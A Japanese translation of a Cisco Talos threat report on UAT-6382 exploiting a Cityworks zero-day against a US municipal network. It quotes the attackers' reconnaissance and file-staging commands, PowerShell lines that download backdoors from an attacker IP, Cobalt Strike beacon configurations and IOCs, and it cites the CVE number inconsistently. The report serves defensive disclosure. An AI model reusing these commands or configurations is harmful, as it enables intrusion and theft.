Cisco Japan Blog

UAT-6382 が Cityworks のゼロデイ脆弱性を悪用してマルウェアを配信

1 min read



  • Cisco Talos は、人気の資産管理システム Cityworks に存在するリモートコード実行の脆弱性(CVE-2025-0994popup_icon)の悪用を確認しました。
  • 米国サイバーセキュリティ インフラストラクチャ セキュリティ庁popup_icon(CISA)と Trimble 社popup_iconが、この脆弱性に関するアドバイザリをそれぞれ発行しています。Trimble 社のアドバイザリでは、この CVE を悪用した不正侵入に関連する侵害の指標(IOC)が具体的に記載されています。
  • Talos が検出した CVE-2025-0994 の悪用に関連する不正侵入の IOC は、Trimble 社のアドバイザリに記載されているものと一致しています。
  • Talos は、CVE-2025-0944 を悪用するこの一連の不正侵入を「UAT-6382」が行った活動に分類しています。攻撃者が使用したツール、および戦術、手法、手順(TTP)に基づき、この脆弱性の悪用とそれに続く侵害後の活動は中国語話者の攻撃者によって実行されたと Talos は高い確信をもって評価しています。
  • 侵害後の活動として、基盤となる IIS Web サーバー上で、AntSword や chinatso/Chopper などの Web シェルが迅速に展開されました。UAT-6382 はまた、長期にわたって持続的なアクセスを維持するために、Rust ベースのローダーを用いて Cobalt Strike と VSHell マルウェアを展開していました。
  • Talos は、この Rust ベースのローダーを「TetraLoader」として追跡しています。これは、「MaLoader」という最近公開されたマルウェア構築フレームワークを使用して作成されたものです。MaLoader(簡体字中国語で記述)を使用すると、シェルコードや他のペイロードを Rust ベースのバイナリに組み込むことができ、そうして作成されたのが TetraLoader です。

Talos は、米国内の地方自治体が運用する企業ネットワークへの不正侵入を発見しました。最初の侵害が発生したのは 2025 年 1 月です。UAT-6382 は CVE-2025-0944popup_icon のエクスプロイトに成功すると、偵察を行い、長期的なアクセスを維持するためにさまざまな Web シェルとカスタムマルウェアを迅速に展開しました。アクセス後は、公共インフラ管理に関連するシステムに横展開することに明確な関心を示しています。

AntSword、chinatso/Chopper、汎用ファイルアップローダーなどの Web シェルには、中国語で書かれたメッセージが含まれていました。さらに、カスタムツールの TetraLoader は「MaLoader」というマルウェアビルダーを使用して作成されており、このビルダーも簡体字中国語で書かれています。このツールの性質、TTP、ハンズオンキーボード攻撃、被害者分析に基づき、UAT-6382 は中国語話者の攻撃者であると Talos は高い確信をもって評価しています。

初期の偵察

脆弱な Cityworks アプリケーションのエクスプロイトに成功すると、攻撃者は事前偵察を実施し、サーバーを特定してその詳細情報を取得します。

cmd.exe /c ipconfig

cmd.exe /c pwd

cmd.exe /c dir

cmd.exe /c dir ..

cmd.exe /c dir c:\

cmd.exe /c dir c:\inetpub

cmd.exe /c tasklist

特定のフォルダが、その中に Web シェルの配置を試みる前に列挙されました。

cmd.exe /c dir c:\inetpub\wwwroot

cmd.exe /c c:\inetpub\wwwroot\CityworksServer\WebSite

cmd.exe /c dir c:\inetpub\wwwroot\CityworksServer\WebSite\Assets

UAT-6382 は Web シェルを多用

最初の偵察のほぼ直後に、侵害されたネットワークへのバックドアアクセスを確立するために Web シェルが展開されました。展開された Web シェルは、AntSword、chinatso、Behinder の複数のバリエーションのほか、中国語のメッセージを含む汎用的なファイルアップローダーです。

図 1. UAT-6382 によって展開された ASP ベースのファイルアップローダー

データ漏洩のためのファイル列挙と持ち出し準備

UAT-6382 は、関心のあるサーバー上の複数のディレクトリを列挙して、持ち出す価値のあるファイルを特定し、それらを Web シェルを展開したディレクトリに配置して簡単に持ち出せるようにしました。

cmd.exe /c dir c:\inetpub\wwwroot\CityworksServer\

cmd.exe /c copy c:\inetpub\wwwroot\CityworksServer\<backup_archives> c:\inetpub\wwwroot\CityworksServer\Uploads\

バックドアの展開

UAT-6382 は、PowerShell を使用して、侵害されたシステムに複数のバックドアをダウンロードして展開しました。

cmd[.]exe /c powershell -Command Invoke-WebRequest -Uri 'hxxp[://]192[.]210[.]239[.]172:3219/LVLWPH[.]exe' -OutFile '<parent_directory>\LVLWPH[.]exe'

cmd.exe /c powershell -Command Invoke-WebRequest -Uri ‘http://192[.]210[.]239[.]172:3219/MCUCAT[.]exe’ -OutFile ‘C:\windows\temp\z1.exe’

powershell -Command Invoke-WebRequest -Uri ‘http://192[.]210[.]239[.]172:3219/TJPLYT[.]exe’ -OutFile ‘C:\windows\temp\z33.exe’

cmd.exe /c powershell -Command Invoke-WebRequest -Uri ‘http://192[.]210[.]239[.]172:3219/z44[.]exe’ -OutFile ‘C:\windows\temp\z44.exe’

Talos が回収したインプラントは、エンコードまたは暗号化されたペイロードを含む Rust ベースのローダーです。このペイロードはデコードまたは復号された後、ローダーコンポーネントによって無害なプロセスに挿入されます。Talos はこのローダーを「TetraLoader」として追跡しています。

TetraLoader の分析

TetraLoader はシンプルな Rust ベースのローダーであり、埋め込まれたペイロードをデコードし、notepad[.]exe のような無害なプロセスに挿入して起動します。Talos はこれまでに、感染したエンドポイント上で、TetraLoader が展開したペイロードを 2 種類発見しています。

  1. Cobalt Strike ビーコン:位置に依存しないインメモリ型の Cobalt Strike ビーコンシェルコード。TetraLoader によって、無害な特定のプロセスに挿入されます。
  2. VShell ステージャ:Talos が VShell 用のステージャであると特定した、位置に依存しないシェルコード。ハードコードされた C2 サーバーと通信し、受信したコードを実行します。

TetraLoader は、2024 年 12 月に GitHub に初めて登場した「MaLoader」という比較的新しいペイロード ビルダー フレームワークを使用して構築されています。MaLoader には、TetraLoader(Rust ベースのコンテナ)にシェルコードをエンコードして埋め込むためのオプションが複数あります。

図 2. MaLoader のビルダーのインターフェイス

MaLoader は簡体字中国語で書かれており、これを使用した攻撃者は簡体字中国語を相当なレベルで理解していたと考えられます。

Cobalt Strike ビーコン

Cobalt Strike ビーコンは比較的単純で、従来の Cobalt Strike ビーコンと比べてもほとんど変更が加えられていません。Talos が発見したビーコンの 1 つは、コマンドアンドコントロール(C2)ドメイン「cdn[.]lgaircon[.]xyz」に接続し、以下のコンフィグ設定となっています。

BeaconType - HTTPS

Port - 443

SleepTime - 45000

MaxGetSize - 2801745

Jitter - 37

MaxDNS - Not Found

PublicKey - b'0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\x81\x92\xaa\x1d\xdeph\xa6\x80\xf7\xc9\x7f\xcf\xba\xce6\xd9\x11(\x00\x1a\x95<\xa5\xdf\x19\x06\xf3\xd1;\xb1\x15\xe9\xdb\xcan\xc6\xba\xdb{\xd3\xc4,\xd4\xcf\xd1\x07\xe2\x1fI\x07%\xd2r\x9c\xa7\xd1z+Z\xdd\xac\xd0\x18\x04\x8e\xfbqp\xe1\xe1\xb81\xb1V\x12\xe4\x8d\xf0\xc0V\x1c\xf9\xc6\xca\xc8\xed\xc4,Y~\x17r\xebP)\xed\xa6\xba\xdc\xf5+\xedS.T\xdc\x8bl\xee&\x9e\x84\xb4a\xb1k\x9a\xc1x\x00q\r\xe6\xbfq\x02\x03\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'


C2Server - cdn[.]lgaircon[.]xyz,/jquery-3[.]3[.]1[.]min[.]js


UserAgent - Not Found

HttpPostUri - /jquery-3[.]3[.]2[.]min[.]js
 

HttpGet_Metadata - Not Found

HttpPost_Metadata - Not Found

SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

 
PipeName - Not Found
 

DNS_Idle - Not Found

DNS_Sleep - Not Found

 
SSH_Host - Not Found

SSH_Port - Not Found

SSH_Username - Not Found

SSH_Password_Plaintext - Not Found

SSH_Password_Pubkey - Not Found
 

HttpGet_Verb - GET

HttpPost_Verb - POST

HttpPostChunk - 0
 

Spawnto_x86 - %windir%\syswow64\dllhost[.]exe

Spawnto_x64 - %windir%\sysnative\dllhost[.]exe
 

CryptoScheme - 0

 
Proxy_Config - Not Found

Proxy_User - Not Found

Proxy_Password - Not Found

Proxy_Behavior - Use IE settings

Watermark - 987654321

bStageCleanup - True

bCFGCaution - False

KillDate - 0

bProcInject_StartRWX - False

bProcInject_UseRWX - False

bProcInject_MinAllocSize - 17500
 

ProcInject_PrependAppend_x86 - b'\x90\x90'

                                  Empty
 
ProcInject_PrependAppend_x64 - b'\x90\x90'

                               Empty
 
ProcInject_Execute - ntdll:RtlUserThreadStart

CreateThread

NtQueueApcThread-s

CreateRemoteThread

RtlCreateUserThread
 

ProcInject_AllocationMethod - NtMapViewOfSection
 
bUsesCookies - True
 
HostHeader - Host: cdn[.]lgaircon[.]xyz

同じ C2 ドメインを使用するもう 1 つのビーコンは、以下のようにより詳細なコンフィグ設定となっています。

BeaconType - HTTPS
Port - 443
 
SleepTime - 35000
MaxGetSize - 2097152
Jitter - 30
MaxDNS - Not Found

PublicKey_MD5 - 00c96a736d29c55e29c5e3291aedb0fd

C2Server - lgaircon[.]xyz,/owa/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2
UserAgent - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15

HttpPostUri - /owa/idQ0RKiA2O1i9KKDzKRdmIBmkA8uQxmFzpBGRzGjaqG
Malleable_C2_Instructions - NetBIOS decode 'a'

HttpGet_Metadata - ConstHeaders

Host: lgaircon[.]xyz

Accept: */ *

Cookie: MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;ClientId=1C0F6C5D910F9;MSPAuth=3EkAjDKjI;xid=730bf7;wla42=ZG0yMzA2KjEs

ConstParams

path=/calendar

Metadata

netbios

parameter "wa"

 

HttpPost_Metadata - ConstHeaders

Host: lgaircon[.]xyz

Accept: */ *

SessionId

netbios

prepend "wla42="

prepend "xid=730bf7;"

prepend "MSPAuth=3EkAjDKjI;"

prepend "ClientId=1C0F6C5D910F9;"

prepend "MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;"

header "Cookie"

Output

netbios

parameter "wa"

 

PipeName - Not Found

DNS_Idle - Not Found

DNS_Sleep - Not Found

SSH_Host - Not Found

SSH_Port - Not Found

SSH_Username - Not Found

SSH_Password_Plaintext - Not Found

SSH_Password_Pubkey - Not Found

SSH_Banner -

 

HttpGet_Verb - GET

HttpPost_Verb - GET

HttpPostChunk - 96

 

Spawnto_x86 - %windir%\syswow64\gpupdate[.]exe

Spawnto_x64 - %windir%\sysnative\gpupdate[.]exe

 

CryptoScheme - 0

 

Proxy_Config - Not Found

Proxy_User - Not Found

Proxy_Password - Not Found

Proxy_Behavior - Use IE settings

 

Watermark_Hash - NtZOV6JzDr9QkEnX6bobPg==

Watermark - 987654321

 

bStageCleanup - True

bCFGCaution - False

 

KillDate - 0

 

bProcInject_StartRWX - True

bProcInject_UseRWX - False

bProcInject_MinAllocSize - 26808

ProcInject_PrependAppend_x86 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90'

Empty

 

ProcInject_PrependAppend_x64 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90'

Empty

 

ProcInject_Execute - ntdll[.]dll:RtlUserThreadStart

NtQueueApcThread-s

SetThreadContext

CreateRemoteThread

kernel32[.]dll:LoadLibraryA

RtlCreateUserThread

 

ProcInject_AllocationMethod - VirtualAllocEx

 

bUsesCookies - True

HostHeader -

headersToRemove - Not Found

 

DNS_Beaconing - Not Found

DNS_get_TypeA - Not Found

DNS_get_TypeAAAA - Not Found

DNS_get_TypeTXT - Not Found

DNS_put_metadata - Not Found

DNS_put_output - Not Found

DNS_resolver - Not Found

DNS_strategy - round-robin

DNS_strategy_rotate_seconds - -1

DNS_strategy_fail_x - -1

DNS_strategy_fail_seconds - -1

Retry_Max_Attempts - 0

Retry_Increase_Attempts - 0

Retry_Duration - 0

別のビーコンは、C2 ドメイン「www[.]roomako[.]com」に接続し、以下のコンフィグ設定となっています。

BeaconType - HTTPS

Port - 443

SleepTime - 25000

MaxGetSize - 2801745

Jitter - 37

MaxDNS - Not Found

 

PublicKey - b"0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xaa#\x18\xebx;\xd3?\xe7\xa7\xb5\x95\xb1\xe7\xb2a\x99O)\x8e\xebx/:\xc10c\xfe\x04#\xe5_ \x82\xab\x9d\xbe\x99\xd0W\xb5\xfafra\x14@\x9a\x16Fs5\xa0\xe6\xf3\xa6\x13\xdc\x91N\xdeql\x89\xc5RkD\xefq\xea\xa8\xc5'$\xdf]l#\xacs\x0c/;\xc3E\xf8\x0fS\x7f\xbd\xcd\x0b]E\x97\xf2\xf2Q\xe8\x00\xa7u\x04\x90\r\x95\xfd\xac`k9\xefa\xe5\x9ftW\xc5\xc7\x90\xb8\x8a\x15\xab+\x02\x03\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

 

C2Server - www[.]roomako[.]com,/jquery-3[.]3[.]1[.]min[.]js

UserAgent - Not Found

HttpPostUri - /jquery-3[.]3[.]2[.]min[.]js

HttpGet_Metadata - Not Found

HttpPost_Metadata - Not Found

 

SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

 

PipeName - Not Found

 

DNS_Idle - Not Found

DNS_Sleep - Not Found

SSH_Host - Not Found

SSH_Port - Not Found

SSH_Username - Not Found

SSH_Password_Plaintext - Not Found

SSH_Password_Pubkey - Not Found

 

HttpGet_Verb - GET

HttpPost_Verb - POST

HttpPostChunk - 0

 

Spawnto_x86 - %windir%\syswow64\dllhost[.]exe

Spawnto_x64 - %windir%\sysnative\dllhost[.]exe

 

CryptoScheme - 0

 

Proxy_Config - Not Found

Proxy_User - Not Found

Proxy_Password - Not Found

Proxy_Behavior - Use IE settings

 

Watermark - 987654321

bStageCleanup - True

bCFGCaution - False

KillDate - 0

 

bProcInject_StartRWX - False

bProcInject_UseRWX - False

bProcInject_MinAllocSize - 17500

ProcInject_PrependAppend_x86 - b'\x90\x90\x90'

Empty

 

ProcInject_PrependAppend_x64 - b'\x90\x90\x90'

Empty

 

ProcInject_Execute - ntdll:RtlUserThreadStart

CreateThread

NtQueueApcThread-s

CreateRemoteThread

RtlCreateUserThread

 

ProcInject_AllocationMethod - NtMapViewOfSection

 

bUsesCookies - True

 

HostHeader - Host: www[.]roomako[.]com

VShell ステージャ

VShell ステージャは比較的シンプルで、基本的なソケット API を使って「192[.]210[.]239[.]172:2219」のようなハードコードされた C2 サーバーに接続します。通常は TetraLoader によって無害なプロセスに挿入されるこのステージャは、最初に C2 との通信確認のためのビーコンを送信して応答を待ちます。C2 から返される応答は通常、1 バイトの XOR 処理されたペイロードであり、インプラントによってメモリ内で実行されます。これは、UAT-6382 が VShell で変更したものと思われます。

図 3. C2 からシェルコードを受信して実行するインプラント

VShell ステージャが受信するペイロードが、実際には VShell のインプラントです。VShell は GoLang で開発されたインプラントであり、C2 と通信し、リモートアクセス型トロイの木馬としてのさまざまな機能を提供します。たとえば、ファイル管理や任意のコマンドの実行、スクリーンショットの取得、感染したエンドポイント上での NPS ベースのプロキシの実行といった機能です。

図 4. 1 つのクライアントと接続している VShell の C2 サーバーの例

この不正侵入で確認された、中国語で書かれた他のツールと同様に、VShell の C2 パネルでも中国語が使用されています。図 5 に見られるように、このパネルでは限定的に英語のサポートを利用できますが、それでもほとんどで中国語が使用されており、このパネルを使いこなすには中国語に精通している必要があります。

図 5. 英語設定にしていても中国語が使用される VShell のファイルマネージャーパネル

カバレッジ

今回の脅威は、以下の製品で検出してブロックすることが可能です。

Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。

Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。

Threat Defense Virtual適応型セキュリティアプライアンスMeraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。

Cisco Secure Network/Cloud Analytics(Stealthwatch/Stealthwatch Cloud)は、ネットワークトラフィックを自動的に分析し、接続されているすべてのデバイスで、望ましくない可能性があるアクティビティをユーザーに警告します。

Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。

Cisco Secure Access は、ゼロトラストの原則に基づいて構築された、最新のクラウド提供型セキュリティサービスエッジ(SSE)です。Cisco Secure Access はユーザーがどこで作業していても、インターネット、クラウドサービス、プライベート アプリケーションへのシームレスかつ透過的でセキュアなアクセスを提供します。Cisco Secure Access の無料トライアルにご興味をお持ちの場合は、シスコのアカウント担当者または認定パートナーまでお問い合わせください。

Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。

Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。

特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。

Cisco Duopopup_icon は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。

オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.orgpopup_icon で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。

侵害の指標(IOC)

IOC は、こちらの GitHub リポジトリpopup_iconでも提供しています。

TetraLoader

14ed3878b6623c287283a8a80020f68e1cb6bfc37b236f33a95f3a64c4f4611f

4ffc33bdc8527a2e8cb87e49cdc16c3b1480dfc135e507d552f581a67d1850a9

1de72c03927bcd2810ce98205ff871ef1ebf4344fba187e126e50caa1e43250b

1c38e3cda8ac6d79d9da40834367697a209c6b07e6b3ab93b3a4f375b161a901

Cobalt Strike ビーコン

C02d50d0eb3974818091b8dd91a8bbb8cdefd94d4568a4aea8e1dcdd8869f738

ネットワークの IOC

cdn[.]phototagx[.]com

www[.]roomako[.]com

lgaircon[.]xyz

https://www[.]roomako[.]com/jquery-3[.]3[.]1[.]min[.]js

https://lgaircon[.]xyz/owa/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2

https://cdn[.]lgaircon[.]xyz/jquery-3[.]3[.]1[.]min[.]js

hxxps[://]cdn[.]phototagx[.]com/


192[.]210[.]239[.]172

hxxp[://]192[.]210[.]239[.]172:3219/LVLWPH[.]exe

hxxp[://]192[.]210[.]239[.]172:3219/MCUCAT[.]exe

hxxp[://]192[.]210[.]239[.]172:3219/TJPLYT[.]exe

hxxp[://]192[.]210[.]239[.]172:3219/z44[.]exe

 

本稿は 2025 年 5 月 22 日にTalos Grouppopup_icon のブログに投稿された「UAT-6382 exploits Cityworks zero-day vulnerability to deliver malwarepopup_icon」の抄訳です。

 


				
				
				
				
								
				
				
コメントを書く